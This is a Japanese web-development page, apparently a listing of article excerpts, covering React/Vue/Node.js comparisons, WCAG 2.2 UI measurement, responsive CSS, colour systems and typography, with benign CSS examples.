npm：世界最大のパッケージエコシステムで、必要な機能を素早く導入 高速な起動：V8エンジン搭載で、処理速度が速い Node.jsが向いているアプリ REST API / GraphQL API：モバイルアプリやSPAのバックエンド リアルタイム通信：チャット、ライブ配信、オンラインゲーム マイクロサービス：小さなサービスを組み合わせたアーキテクチャ React.js vs Vue.js｜フロントエンド2大技術の比較 「React.jsとVue.jsのどちらを選ぶべきか」は、プロジェクトの規模とチームの経験値で判断できます。 比較項目React.jsVue.js記法JSX（JavaScript内にHTMLを書く）テンプレート（HTML内にロジックを書く）状態管理Redux, Zustand, Jotai等Pinia（公式推奨）SSR/SSGNext.jsNuxt.jsモバイルReact NativeCapacitor等学習コストJSXの理解が必要でやや高いHTMLベースで低い日本語の情報量非常に多い多い求人・案件数最多Reactに次いで多い React.jsを選ぶべきケース：チーム開発、大規模SPA、モバイルアプリも視野に入れている、転職・案件獲得を優先したい Vue.jsを選ぶべきケース：個人開発、学習コストを抑えたい、既存サイトに部分導入したい、素早くプロトタイプを作りたい Vue.js vs Node.js｜フロントエンドとバックエンドの違い 「Vue.jsとNode.jsはどちらを学ぶべきか」という疑問は多いですが、そもそも役割が異なるため比較対象ではありません。Vue.jsはブラウザ上でUIを構築するフレームワーク、Node.jsはサーバー上でJavaScriptを実行する環境です。 比較項目Vue.jsNode.js役割フロントエンド（UI構築）バックエンド（API・DB処理）実行場所ブラウザサーバー主な用途画面表示・ユーザー操作データ保存・認証・API代表的な組み合わせNuxt.js（SSR対応）Express.js（Webフレームワーク）学習の前提知識HTML / CSS / JavaScriptJavaScript / HTTP基礎 実際の開発では、Vue.jsでフロント画面を作り、Node.js（Express）でAPIを提供するというMEVN構成が定番です。「どちらか一方」ではなく、フロントエンドとバックエンドをセットで学ぶのが効率的です。 React.js vs Node.js｜よく混同される2つの技術を整理 React.jsとNode.jsは名前に「.js」がつく点で混同されがちですが、担当する領域がまったく異なります。React.jsはMetaが開発したUI構築ライブラリで、ブラウザ上で動作します。一方、Node.jsはサーバー上でJavaScriptを実行するランタイム環境です。 比較項目React.jsNode.js役割フロントエンド（UI構築）バックエンド（サーバー処理）種類UIライブラリJavaScript実行環境実行場所ブラウザサーバー開発元Meta（Facebook）OpenJS Foundation代表的な派生Next.js, React NativeExpress.js, Fastify競合ではなく補完関係React.jsで画面を作り、Node.jsでAPIを提供するMERN構成が主流 転職や案件獲得を目指すなら、React.js + Node.jsの組み合わせ（MERN Stack）が最も求人数が多く実践的です。フロントエンドとバックエンドを同じJavaScriptで統一できるため、学習効率も高いのが特長です。 フルスタック構成の組み合わせパターン React.js/Vue.jsとNode.jsを組み合わせれば、JavaScriptだけでフルスタック開発が完結します。代表的な構成パターンを紹介します。 構成フロントバックエンド適したプロジェクトMERNReact.jsNode.js + Express + MongoDBSPA、SaaS、管理画面MEVNVue.jsNode.js + Express + MongoDB小〜中規模アプリ、MVPNext.js + API RoutesReact（Next.js）Next.js内蔵APISSR/SSG対応サイト、SEO重視Nuxt.js + NitroVue（Nuxt.js）Nuxt内蔵サーバーコーポレートサイト、ブログ 目的別おすすめの選び方 どの技術を学ぶべきか迷ったら、以下の目的別チャートを参考にしてください。 転職・フリーランスを目指す → React.js + Node.js（求人数が最多） 個人開発で素早くアプリを作りたい → Vue.js + Firebase/Supabase Web制作の延長でインタラクティブなサイトを作りたい → Vue.js APIやバックエンドに興味がある → Node.js + Express SEO重視のWebサイトを作りたい → Next.js（React.jsベース） よくある質問 Q. React.jsとNode.jsの違いは何ですか？ React.jsはブラウザ上で動くUI構築ライブラリ（フロントエンド）、Node.jsはサーバー上でJavaScriptを実行する環境（バックエンド）です。React.jsで画面を作り、Node.jsでAPIやデータベース処理を行うという形で組み合わせて使います。 Q. Vue.jsとNode.jsはどちらを先に学ぶべきですか？ HTML/CSS/JavaScriptの基礎ができている前提で、まずVue.jsがおすすめです。学習コストが低く、目に見える成果物（Webアプリの画面）をすぐに作れるためモチベーションが維持しやすいです。その後バックエンドに興味が出たらNode.jsに進みましょう。 Q. React.jsとVue.jsの両方を学ぶ必要はありますか？ 片方を深く理解すれば十分です。どちらもコンポーネントベースの設計思想は共通なので、一方をマスターすればもう一方への移行も容易です。転職市場ではReact.jsの方が有利ですが、Vue.jsの案件も増加傾向にあります。 Q. Node.jsだけでフロントエンドも作れますか？ Node.js自体にUI構築の機能はありませんが、Express + テンプレートエンジン（EJS、Pug）でHTMLを生成することは可能です。ただし、モダンなWebアプリ開発ではReact.jsやVue.jsと組み合わせるのが主流です。 まとめ｜3技術の使い分け React.js：大規模・チーム開発・転職に有利。学習コストはやや高いが、エコシステムが最も充実 Vue.js：学習しやすく個人開発に最適。既存サイトへの部分導入も可能で、初心者におすすめ Node.js：バックエンド担当。React.js/Vue.jsと組み合わせてフルスタックJavaScript開発を実現 React.jsとVue.jsは「フロントエンドの選択肢」、Node.jsは「バックエンドの選択肢」です。どちらか一方ではなく、フロントエンド＋バックエンドの組み合わせで考えるのが、技術選定の正しいアプローチです。 よくある質問（FAQ） Q. React.jsとVue.jsの違いは？ Reactは大規模アプリとエコシステムの豊富さ、Vueは学習コストの低さと直感的なAPIが特徴です。ReactはJSXでHTMLとJSを統合し、VueはテンプレートベースでHTMLに近い記法です。採用実績はReactが優勢ですが、日本ではVueも人気があります。 ### [UIの合否を数値で出す｜タップ領域・コントラスト・320px幅の実測手順](https://codequest.work/ui-ux-design-basics/) UIの合否は、主観ではなく数値で出せます。タップ領域が24×24 CSSピクセル以上か、文字と背景のコントラスト比が4.5:1以上か、幅320ピクセルで横スクロールが発生しないか。この3つは、ブラウザのコンソールに数行貼るだけでページ全体を一括判定できます。 3つとも、合否ラインの出どころがW3CのWCAG 2.2にあります。つまり「なんとなく窮屈」ではなく「24ピクセルの円が交差している」と言える形で指摘でき、直ったかどうかも同じスクリプトで確定できます。この記事では、基準の原文・そのまま貼って動くスクリプト・落ちたときの直し方の3点を扱います。 この手順は、書き手のサイトにも容赦なく効きます。実際にこの3つを当サイト（CodeQuest.work）へ通したところ、WCAG 1.4.10（幅320ピクセルで16ピクセルの横溢れ）とWCAG 1.4.3（CTAリンクのコントラスト比3.51:1）の2件が不適合として出ました。どちらも2026年8月2日に修正済みで、記事内には検出時の数値と是正後の実測値を両方載せています。 UIの合否は3つの数値で決まる デザインレビューが「なんとなく窮屈」「ちょっと読みにくい」で止まってしまうのは、指摘の側に再現できる根拠が無いからです。数値に置き換えると、この行き止まりが消えます。 「使いやすい」を数値に置き換える理由 数値で出せると、実務で3つのことが変わります。第一に、指摘が再現できます。「このアイコン、隣と近すぎませんか」ではなく「このアイコンの中心に置いた直径24ピクセルの円が、隣のボタンと交差しています」と言えます。第二に、直ったかどうかが確定します。同じスクリプトを再実行して0件になれば完了で、感想の応酬になりません。第三に、影響範囲が一度に分かります。ページ内の全要素を機械的に走査するので、見落としが減ります。 逆に、数値にできない領域もあります。導線が分かりやすいか、迷わず目的にたどり着けるかは、DOMの値からは出ません。この記事は「数値で出せる側」だけを引き受けます。 測る3項目と、根拠になるWCAG 2.2の達成基準 この記事で測るのは次の3項目です。いずれもW3CのWeb Content Accessibility Guidelines (WCAG) 2.2（2026年8月2日確認）に合否ラインの原文があります。 測る項目合否ライン達成基準レベルタップ領域24×24 CSSピクセル以上SC 2.5.8 Target Size (Minimum)AAタップ領域（強化）44×44 CSSピクセル以上SC 2.5.5 Target Size (Enhanced)AAA文字のコントラスト4.5:1以上（大きい文字は3:1）SC 1.4.3 Contrast (Minimum)AAUI部品・図形のコントラスト3:1以上SC 1.4.11 Non-text ContrastAA幅320ピクセルでの折り返し二方向スクロールが出ないSC 1.4.10 ReflowAA WCAG 2.2はWebコンテンツの適合基準なので、公開しているWebサイトの合否判定にはこれを使うのが筋です。アクセシビリティの全体像や、どのレベルを目標に置くかについてはWebアクセシビリティの基本とWCAG 2.2の考え方で扱っています。 UIの検査に合格しても、UXが良いとは限らない 先に線を引いておきます。この記事が測るのはUIの側だけで、それに合格することはUXが良いことを意味しません。「UIがうまく機能していればUXも良くなる」という説明を見かけますが、UXという語を定義した原典はこれを否定しています。 Don NormanとJakob NielsenによるThe Definition of User Experience (UX)（Nielsen Norman Group、1998年8月8日公開／2026年8月2日確認）は、UXを「企業・そのサービス・その製品に対する、エンドユーザーのあらゆる接点」と定義したうえで、映画レビューサイトの例を挙げています。作品を探すUIが完璧でも、データベースに大手スタジオ作品しか入っていなければ、独立系作品を探しに来たユーザーのUXは悪い、という例です。つまりUIの品質はUXの一部でしかありません。 そのため、この記事は「なぜその設計が良いのか」という理論には踏み込みません。近接・整列・反復といった原則の背景はUI/UXの質を上げるデザイン理論の基本原則に、キーボード操作やモーダルの設計といった実装側はアクセシブルなUXコンテンツの作り方にまとめてあります。 タップ領域の最小サイズは、基準ごとに食い違っている 「タップ領域は44×44ピクセル以上」という説明は日本語の解説記事でよく見かけますが、原文に当たると、この数値は基準ごとに違います。どれを採用するかを決めないと、検査した結果の意味も決まりません。 WCAG 2.2：AAは24×24 CSSピクセル、44×44はAAA WCAG 2.2の SC 2.5.8 Target Size (Minimum) の原文は「The size of the target for pointer inputs is at least 24 by 24 CSS pixels」で、レベルはAAです。44×44 CSSピクセルを求めているのは SC 2.5.5 Target Size (Enhanced) で、こちらはレベルAAAの強化基準です。つまり44×44は「必須」ではなく「最高レベルの目標値」にあたります。 さらに SC 2.5.8 には Spacing・Equivalent・Inline・User Agent Control・Essential の5つの例外があります。このうち実務で効く2つは後述しますが、例外を無視して「24ピクセル未満は全部NG」と数えると、実際には適合しているページが大量に落ちます。 Apple HIG：44×44ptは「既定値」であって「最小」ではない ここは日本語の解説と現行原文がはっきり食い違う箇所です。AppleのHuman Interface Guidelines — Accessibility（2026年8月2日確認）には、プラットフォーム別のコントロールサイズが表で示されています。 プラットフォーム既定のコントロールサイズ最小のコントロールサイズiOS, iPadOS44×44 pt28×28 ptmacOS28×28 pt20×20 pttvOS66×66 pt56×56 ptvisionOS60×60 pt28×28 ptwatchOS44×44 pt28×28 pt iOS・iPadOSの列は「既定44×44 pt／最小28×28 pt」です。「Appleの最小タップ領域は44×44pt」という定番の説明は、現行のHIGの表記とは一致しません。44×44 ptはDefault control size、つまり既定値の側に書かれています。 同じページには間隔についての記述もあり、ベゼルのある要素なら周囲におよそ12ポイント、ベゼルの無い要素なら見える縁の周囲におよそ24ポイントの余白を取るとよい、とされています。サイズだけでなく間隔も同じくらい重要だ、という位置づけです。 Material Design 3：タッチ48×48dp、ポインタ44×44dp GoogleのMaterial Design 3 — Designing: structure（2026年8月2日確認）は、次のように書いています。 タッチターゲットは多くのプラットフォームで48×48dp以上を検討する。このサイズは画面サイズによらず物理サイズでおよそ9mmになる タッチスクリーン要素に推奨される物理サイズは7〜10mm アイコンの見た目が24×24dpでも、周囲のパディングを含めて48×48dpのタッチターゲットを構成する マウスやスタイラス向けのポインタターゲットは44×44dp以上を検討する ターゲット同士は8dp以上あけると、情報密度と使いやすさのバランスが取れる 注目したいのは、このページに「Note: iOS recommends 44 x 44dp targets.」という注記が残っている点です。前述のとおり現行のApple HIGは44×44 ptを既定値として書いているので、Material Design側の注記のほうが古い理解に基づいています。基準同士は互いに追随していない、と考えたほうが安全です。 公開Webサイトではどの数値を採用するか Webサイトなら、次の2本立てで置くのが実務的です。 落ちてはいけない線＝24×24 CSSピクセル（WCAG 2.2 レベルAA）。適合基準として参照されるのはWCAGであり、AAは公共調達や法令の文脈で引かれる水準だからです 設計目標＝44〜48 CSSピクセル。主要OSがコントロールの既定値として採用しているサイズで、指で押す操作の実感に合っています この2本立てにしておくと、検査の役割がはっきりします。スクリプトが判定するのは1の「落ちてはいけない線」で、2は設計時に自分たちで守る目標値です。設計側の数値を先に決めておく手順はデザインカンプ着手前に決めるWebデザインのルールで扱っています。 実測①：タップ領域をコンソールで一括判定する ここから実測に入ります。3本ともブラウザのコンソールに貼るだけで動きます。コンソールの開き方やパネルの基本操作はChrome DevToolsで仮説と検証を回す手順にまとめてあるので、そちらを先に読んでも構いません。 「24ピクセル未満は即NG」ではない：先に例外を実装する SC 2.5.8の5つの例外のうち、実務でほぼ必ず効くのは次の2つです。 Spacing：24×24 CSSピクセル未満のターゲットでも、それぞれの外接矩形の中心に直径24 CSSピクセルの円を置いたとき、その円が他のターゲットや他の未達ターゲットの円と交差しなければ適合する Inline：ターゲットが文の中にあるか、あるいはターゲットでないテキストの行の高さによってサイズが制約されている場合は対象外 SC 2.5.5（AAA）のInline例外は「in a sentence or block of text」ですが、SC 2.5.8（AA）の原文は「in a sentence or its size is otherwise constrained by the line-height of non-target text」で、条件の書き方が違います。AAを判定するなら後者に合わせます。詳しい解説はW3CのUnderstanding SC 2.5.8 Target Size (Minimum)（2026年8月2日確認）にあります。 この2つを実装していないチェッカーは偽陽性を大量に出します。どのくらい差が出るかは後述の実測値で確認できます。 コンソールに貼るスクリプト 判定したいページを開き、コンソールに次のコードを貼り付けて実行します。 ### [レスポンシブデザイン入門｜スマホ対応で必須の基本原則と実装方法を解説｜Web制作初心者向け](https://codequest.work/responsive-design-basics/) レスポンシブデザインとは、1つのURL・1つのHTMLに対してCSSで表示を切り替え、画面幅にかかわらず同じコンテンツを最適なレイアウトで見せる設計手法です。実装で押さえる要点は3つで、viewportメタタグを入れること、min-widthの単方向でモバイルファーストに書くこと、そしてbox-sizing: border-boxでボックスモデルを統一することです。 この記事では、基本の3点に加えて、コンポーネント単位で切り替えるコンテナクエリ（@container）と、モバイルの100vh問題を解くdvh / svh / lvhまで扱います。最後に「書いたCSSが本当に崩れていないか」をブラウザのコンソールで数値判定する手順を置いたので、実装したらそのまま合否を確認できます。 レスポンシブデザインとは何か レスポンシブデザインは、ウェブページが表示領域の幅に応じてレイアウトを自動的に組み替えるデザイン手法です。ここで重要なのは、これが「スマートフォン専用のURLを別に用意する」手法ではないという点です。URLもHTMLも1つのまま、CSSだけで見え方を変えます。そのためコンテンツが二重に存在せず、更新も1か所で済みます。 レスポンシブデザインを構成する3つの要素 流動的なレイアウト — 幅を固定pxではなく % / fr / min() などの相対値で指定し、画面幅に合わせて伸縮させる 条件によるCSSの切り替え — 画面幅を条件にする @media、親コンテナ幅を条件にする @container の2種類がある モバイルファースト — 狭い画面向けのCSSをベースにし、広い画面だけを min-width で上書きする この3つのうち、初学者がつまずくのは1つ目と3つ目です。幅の指定を相対値にしただけでは横スクロールは消えず、切り替えの向きを揃えないとCSSがすぐ読めなくなります。以降のセクションでは、その2点を実際のコードと数値で潰していきます。デザインカンプの段階で決めておくべきことはWebデザインの基本ルールにまとめています。 viewportメタタグを入れる（すべての起点） レスポンシブデザインを機能させるには、HTMLのhead内にviewportメタタグを記述する必要があります。このタグがないと、スマートフォンのブラウザはページを幅980px程度の仮想的なウィンドウとして描画し、全体を縮小表示します。メディアクエリを何本書いてもモバイル向けの分岐が発火しないので、まずここを確認します。 <meta name="viewport" content="width=device-width, initial-scale=1.0"> width=device-width — ビューポートの幅を端末の画面幅に合わせる initial-scale=1.0 — 読み込み時のズーム倍率を100%にする ここに user-scalable=no や maximum-scale=1.0 を足してピンチズームを禁止しないでください。WCAG 2.2 の達成基準1.4.4「テキストのサイズ変更」は、支援技術なしでテキストを200%まで拡大でき、かつ内容と機能が失われないことをレベルAAで求めています（W3C WAI: Understanding SC 1.4.4 Resize Text）。ズームを禁止すると、拡大しないと読めない利用者がページから締め出されます。 モバイルファーストは min-width の単方向で書く モバイルファーストとは、メディアクエリの外側に狭い画面向けのCSSを書き、広い画面だけを min-width で上書きする書き方です。ポイントは上書きの向きを一方向に固定することにあります。max-width と min-width を両方使って768pxと769pxで二重に分岐させる書き方は、モバイルファーストではありません。両側から条件が飛んでくるため、どちらの宣言が勝つかを毎回追う必要が出てきます。 /* ベース = 狭い画面。メディアクエリの外に書く */ .container { width: 100%; padding: 20px; } /* 広い画面だけを上書きする。max-width の分岐は書かない */ @media (min-width: 768px) { .container { width: min(80%, 1080px); margin-inline: auto; } } この書き方の利点は、ベースCSSが最も単純な1カラムのレイアウトになり、分岐が「広い画面のときだけ足す」の一方向に限られることです。なお「モバイル向けにすると読み込みが速くなる」といった効果は画像やスクリプトの量に左右されるため、CSSの書き方だけでは断定できません。速度はPageSpeed Insightsの見方で実測して判断してください。 メディアクエリそのものの構文（メディアタイプ、論理演算子、指定できるメディア特性の一覧）はメディアクエリの基本と使い方で解説しています。また @media (width >= 768px) のように比較演算子で書くrange構文も使えます（Baseline: widely available に2025年9月27日到達／webstatus.dev）。詳しくはメディアクエリの新しい記法を参照してください。 ブレークポイントは「崩れる地点」で決める ブレークポイントとは、CSSの適用を切り替える画面幅の境界値です。端末名から逆算するのではなく、自分のコンテンツを縮めていって最初に読みづらくなった幅を境界にします。端末の画面サイズは毎年変わりますが、「ナビが1行に収まらない」「本文の1行が長すぎる」といった崩れ方はコンテンツ固有なので、後から見ても理由が分かる基準になります。 メディアクエリレイアウトが崩れる典型的な地点そこで何が変わるかベースCSS（クエリなし）—（ここが基準）すべて1カラムで縦積み。画像は幅いっぱい@media (min-width: 480px)カードを2枚横に並べると1枚が200px を切り、見出しが2行に折れるカードリストを2列に。フォームのラベルと入力欄を横並びに@media (min-width: 768px)グローバルナビの項目が1行に収まらず折り返すハンバーガーメニューを展開型ナビへ。本文とサブ情報を2カラムに@media (min-width: 1024px)本文の1行が全角50字を超えて視線の戻り先を見失うコンテンツ幅に上限を設ける。サイドバーを常時表示に@media (min-width: 1280px)左右の余白が広がりすぎて要素同士の関連が読み取れない最大幅を固定して中央寄せ。グリッドの列数を増やす 実務では768pxと1024pxの2本だけで足りるケースが多く、必要になった時点で足していくのが効率的です。ブレークポイントを増やすほど、後述の数値チェックで確認すべき幅の組み合わせも増えます。段組みそのものの切り替えはCSS Gridを使ったレイアウトで組むと記述量を抑えられます。 崩れないベースCSS（box-sizing と流体タイポグラフィ） スマートフォンで横スクロールが出る原因として最も多いのは、width: 100% と padding の併用です。ブラウザ既定の box-sizing: content-box のままだと、指定した幅の外側にpaddingとborderが加算されるため、100%を指定した要素が親より広くなります。 なぜ375pxの画面が415pxになるのか width: 100% は「親要素の幅と同じ」を意味します。ここに padding: 20px を足すと、content-box では左右あわせて40pxが幅の外に足され、要素の実寸は「親の幅 + 40px」になります。幅375pxの端末なら415pxです。 /* NG: 375px の画面で要素の実寸が 415px になる */ .container { width: 100%; padding: 20px; /* 左右20pxが width の外側に加算される */ } このCSSだけを読み込んだページを幅375pxで開き、後述のスクリプトで測ると scrollWidth 415 / clientWidth 375 / はみ出し 40px になります。逆に言えば、この40pxは box-sizing を切り替えるだけで消えます。border-box はpaddingとborderを幅の内側に含める値です（MDN: box-sizing）。 そのまま貼れるベースCSS 以下は、ここまでの内容をまとめたベースCSSです。擬似要素まで含めて border-box に統一し、ベースをモバイル、上書きを min-width の一方向に固定しています。 /* 1) 擬似要素まで含めてボックスモデルを統一する */ *, *::before, *::after { box-sizing: border-box; } /* 2) ベース = モバイル。メディアクエリの外に書く */ body { margin: 0; font-size: 1rem; /* 16px。本文はこれより小さくしない */ line-height: 1.7; } .container { width: 100%; padding: 20px; /* border-box なので 100% を超えない */ } /* 3) 広い画面だけを min-width で上書きする */ @media (min-width: 768px) { .container { width: min(80%, 1080px); margin-inline: auto; } } /* 4) 画像は親からはみ出させない */ img { max-width: 100%; height: auto; } このCSSは実際にブラウザで読み込み、幅375px / 390px / 768px / 1280pxの4点すべてで scrollWidth と clientWidth が一致すること（はみ出し0px）を確認しています。測り方はこの記事の後半にあります。 文字サイズは clamp() で流体化する clamp(最小値, 推奨値, 最大値) を使うと、ブレークポイントごとに font-size を書き直さずに文字サイズを連続的に変化させられます。ただし書き方には注意点があります。MDNは、テキストサイズの制御に clamp() を使うとき最大値を相対単位にし、最小値の2倍以上にすることを求めています。ページを200%までズームできるようにするためです（MDN: clamp() — Accessibility）。あわせて、最小値そのものも本文なら 1rem（＝16px）を下回らせないようにします。 /* NG: 最大値が絶対単位(px)で、しかも最小値の2倍に届いていない */ .lead { font-size: clamp(1rem, 2vw, 20px); } /* OK: 最大値は相対単位、かつ最小値の2倍。最小値も 1rem = 16px を下回らない */ .lead { font-size: clamp(1rem, 0.95rem + 0.5vw, 2rem); } 推奨値を 0.95rem + 0.5vw のように「rem + vw」で書くのは、vw だけにするとズーム時に文字が拡大されなくなるためです。remの項を残しておくと、ユーザーのフォント設定にも追随します。本文のフォント指定全般はCSSフォント指定ガイド、個々のプロパティの意味はCSSプロパティ一覧にまとめています。 画像・タップ領域・ユーザー設定への対応 レイアウトが組めたら、次は中身の要素をモバイルに合わせます。 ### [色彩設計の基本｜Webデザインに役立つ配色理論とカラーパレット実装例｜アクセシビリティ対応](https://codequest.work/color-system-for-web-design/) 配色システムが重要な理由 Webデザインにおける配色は、単なる見た目の美しさだけではありません。ブランドの一貫性を保ち、ユーザー体験を最適化し、さらに運用時のメンテナンスを効率化するために「配色システム（カラーシステム）」を設計することが重要です。 特に大規模なWebサイトやアプリでは、プロジェクト全体で 色のルールが統一されているか がデザイン品質に直結します。 配色システムの基本構成 ベースカラー背景や本文テキストに用いる中立的な色。例：白(#FFFFFF)、黒(#000000)、グレー系。 メインカラー（ブランドカラー）サイトやサービスの印象を決定づける中心色。ロゴやCTAボタンに多用。 アクセントカラー注意喚起やリンク強調など、補助的に使う差し色。使いすぎず、ピンポイントで配置。 状態カラー（UIステート用） Success（成功）：#4CAF50 Warning（警告）：#FFC107 Error（エラー）：#F44336 Info（補足情報）：#2196F3 これらを CSS変数やデザイントークン として定義しておくと、運用やデザイン変更が圧倒的に楽になります。 配色システムの実装例 ここからは、実際にWebサイトに組み込むことを想定した3つの例を紹介します。視覚的に色を確認できるカスタムHTMLと、対応するCSS変数の定義を合わせて掲載します。 例1：ブランドカラーセット　（ブランドを象徴する色） 例2：UIステートカラー（ユーザーインターフェースの状態を示す色） 例3：ライト／ダークテーマ切替 実務Tips（ベストプラクティス集） 3色原則（ベース・メイン・アクセント）を軸に設計する まずはベース・メイン・アクセントの3色で構成し、必要に応じて補助色を追加します。色数を絞るほど一貫性と保守性が高まります。 CSS変数（デザイントークン）で色を一元管理する :root { --color-brand: …; --color-text: …; } のように変数化し、コンポーネント側は var() 参照に統一。テーマ切替・改修が1か所で完了します。 ライト／ダークの両テーマを最初に定義しておく 設計初期から [data-theme="dark"] などのスコープを用意。背景・テキスト・境界色を最低限のセットで用意しておくと破綻が起きにくくなります。 UI状態色（Default／Hover／Active／Disabled）を事前に決める ボタン・リンクなどの状態変化色をあらかじめ定義。運用で迷わず、アクセシビリティ上も一貫したフィードバックを提供できます。 コントラスト比（WCAG AA）を満たす 本文テキストは最低 4.5:1 を目安に。見出しや大きな文字は 3:1 でも可。コントラスト不足は可読性とCVRに直結します。 ツールは「Adobe Color → Coolors → 実画面検証」の流れ カラーホイールで仮説を作り、ジェネレーターでバリエーションを出し、実UIで確認。ツールは補助、最終判断は画面上の可読性です。 命名は「意味ベース」で統一する --blue-500 といった色名ではなく、--color-brand や --color-accent のように役割で命名。長期運用で混乱を防げます。 レビュー用の最小パレットを用意する 主要UIに使う 6〜8色（背景/テキスト/境界/ブランド/アクセント/状態色）を「カード表示」で共有。合意形成が早まります。 CSSで配色を管理する方法｜カスタムプロパティとカラーパレット CSS配色とは、CSSカスタムプロパティ（CSS変数）を使ってサイト全体の色を一元管理する手法です。HTMLとCSSだけで完結するため、フレームワークに依存せずどのWebサイトにも適用できます。 CSSカラーパレットを設計する際は、まず役割ごとに変数を定義し、コンポーネント側では var() で参照します。以下は実務で使える基本パターンです。 /* CSSカラーパレットの基本定義 */ :root { /* ベースカラー */ --color-bg: #ffffff; --color-text: #1a1a1a; --color-border: #e5e7eb; /* ブランドカラー */ --color-primary: #2563eb; --color-primary-light: #dbeafe; --color-primary-dark: #1e40af; /* アクセントカラー */ --color-accent: #f59e0b; /* 状態カラー */ --color-success: #16a34a; --color-warning: #eab308; --color-error: #dc2626; } /* コンポーネントでの使用例 */ .btn-primary { background-color: var(--color-primary); color: var(--color-bg); } .btn-primary:hover { background-color: var(--color-primary-dark); } .alert-error { background-color: #fef2f2; border-left: 4px solid var(--color-error); color: var(--color-error); } このように定義しておけば、ブランドカラーの変更やダークテーマ対応も :root の値を差し替えるだけで済みます。Sassの変数と異なり、CSSカスタムプロパティはブラウザ実行時に評価されるため、JavaScriptからの動的変更やメディアクエリによるテーマ切替にも対応できます。 Webデザインの配色で失敗しないための基本ルール Webデザインの配色とは、サイト全体の色の組み合わせと使用比率を設計することです。配色が適切でないと、ブランドイメージが伝わらない・ユーザーが操作に迷う・コンバージョン率が低下するといった問題が起こります。 配色設計で最も重要なのが 60:30:10ルール です。これはインテリアデザインから派生した法則で、Webデザインにも広く応用されています。 60%：ベースカラー背景や余白など、サイトの大部分を占める色。白やライトグレーなど、主張の弱い色を選ぶことで他の要素を引き立てます。 30%：メインカラーヘッダー・サイドバー・見出しなど、ブランドの印象を決める色。ロゴカラーと統一することで一貫性が生まれます。 10%：アクセントカラーCTAボタン・リンク・バッジなど、ユーザーの注意を引く箇所に使う色。メインカラーの補色や対照色を選ぶと効果的です。 この比率を守ることで、視覚的な階層が自然に生まれ、ユーザーが迷わず操作できるUIになります。Web配色に自信がない場合でも、まず60:30:10の比率に当てはめて3色を選ぶだけで、バランスの取れたデザインを実現できます。 また、HTMLで配色を実装する際は、色の値を直接記述するのではなく、前述のCSSカスタムプロパティで変数化しておくことが推奨されます。これにより、後からの配色変更やA/Bテストが容易になります。 よくある質問 Q. Webデザインで使う色は何色がベストですか？ A. 基本は3色（ベース・メイン・アクセント）が最適です。必要に応じて補助色を追加しますが、使いすぎると一貫性が損なわれます。 Q. Adobe Colorだけで配色は決められますか？ A. 初期の仮説作りには最適ですが、最終判断は実UI上の可読性とコントラストで行います。CoolorsやColormindの併用も有効です。 Q. CSSでの管理はSass変数とCSS変数どちらが良いですか？ A. 実行時切替（ダークテーマ等）を考えるならCSS変数が有利です。ビルド時の計算や関数はSass、最終配色はCSS変数で併用するのが実務的です。 Q. コントラスト比の目安はどれくらい？ A. 一般的な本文は 4.5:1 以上、見出しや大きい文字は 3:1 以上が推奨です。達しない場合は明度差や彩度を調整してください。 Q. ライト／ダークテーマの切替で注意点は？ A. 単純に色を反転させず、背景・文字・境界・強調の役割ごとに“対となる色”を決めます。影や境界のコントラスト不足に注意してください。 Q. 状態色（成功・警告・エラー）は固定で良い？ A. 一般的な色相はありますが、ブランドトーンとの整合性を優先します。色覚多様性を考慮し、色だけに依存しないアイコンやテキストも併用しましょう。 Q. 配色に自信がないときはどうすればよいですか？ A. まず60:30:10ルール（ベース60%・メイン30%・アクセント10%）に従って3色だけ選びましょう。Adobe ColorやCoolorsなどの配色ジェネレーターで補色や類似色を自動提案してもらい、実際の画面で確認しながら微調整するのが実務的な進め方です。 Q. CSSで配色を効率的に管理する方法は？ A. CSSカスタムプロパティ（CSS変数）を使い、:rootに配色を一元定義するのが最も効率的です。コンポーネント側はvar()で参照するだけなので、ブランドカラーの変更やダークテーマ対応も変数の値を差し替えるだけで完了します。 配色理論を実際の色選びに移すときは、日本の伝統色とCSSの名前付き色を由来・意味・コントラスト比つきで引ける 色の辞書 が役立ちます。選んだ色の名前と背景を、デザインの説明にそのまま使えます。 ### [タイポグラフィの基本とデザイン活用術｜初心者向け完全ガイド](https://codequest.work/typography-design-guide/) タイポグラフィとは、書体・文字サイズ・行間・字間・行の長さを設計して、読みやすく意図の伝わるテキストを組む技術です。「センスが必要」と思われがちですが、Webにおける可読性の大部分は数値で決められます。しかもその数値には、W3Cが公開している明確な基準があります。 この記事では、感覚論を排して「何文字で折り返すか」「行間はいくつか」を数字で決める手順を示します。最後に、組んだテキストが実際に読みやすいかを検証する方法まで通します。 タイポグラフィは感覚ではなく数値で決められる 多くの解説が「読みやすい行間を心がけましょう」で終わりますが、それでは実装できません。W3Cのアクセシビリティ基準には、具体的な数値が書かれています。 W3Cが示す4つの数値 WCAG 2.2の達成基準1.4.8「Visual Presentation」と1.4.12「Text Spacing」に、テキストの見た目に関する具体値が定められています。 項目基準値達成基準1行の幅80文字以下。CJK（日本語）は40文字1.4.8（AAA）行間1.5倍以上（段落内）1.4.8（AAA）段落間行間の1.5倍以上1.4.8（AAA）両端揃え使わない1.4.8（AAA）拡大表示200%まで拡大しても横スクロールが発生しない1.4.8（AAA）ユーザーによる上書き行間1.5倍・段落間2倍・字間0.12em・語間0.16emに変更されてもコンテンツが失われない1.4.12（AA） 1.4.8はレベルAAAなので必須ではありませんが、「読みやすさの目安として何を見ればよいか」の答えがそのまま書かれている点に価値があります。1.4.12はレベルAAなので、実務では満たしておきたい基準です。日本語訳はWAICがWCAG 2.2 日本語訳として公開しています。 なぜ日本語だけ「40文字」なのか 欧文が80文字なのに対し、CJK（中国語・日本語・韓国語）は半分の40文字と明記されています。理由は文字あたりの情報量と字幅の違いです。 日本語の文字はほぼ正方形（全角）で、欧文の1文字よりおよそ2倍の幅を占めます。さらに漢字は1文字が単語相当の情報を持つため、同じ40文字でも読解にかかる負荷が違います。結果として、物理的な行の長さは欧文80文字とほぼ同じになるという設計です。 行が長すぎると、行末から次の行頭へ視線を戻すときにどの行に戻ればよいか分からなくなり、読み飛ばしや読み直しが増えます。逆に短すぎると視線の折り返し回数が増えて疲れます。40文字はその中間にある実用値です。 4つの数値を決める順番 決める順番が重要です。フォントサイズから決めると行長が破綻します。行長を先に固定してから、その中でサイズと行間を調整してください。 ステップ1｜行長（1行の文字数）を先に決める 日本語の本文なら1行35〜45文字を目標にします。ここで使えるのが em 単位です。日本語の全角文字は幅がほぼ 1em なので、max-width: 40em と書けばおよそ40文字で折り返します。 注意点として、欧文向けの ch 単位は日本語では使えません。ch 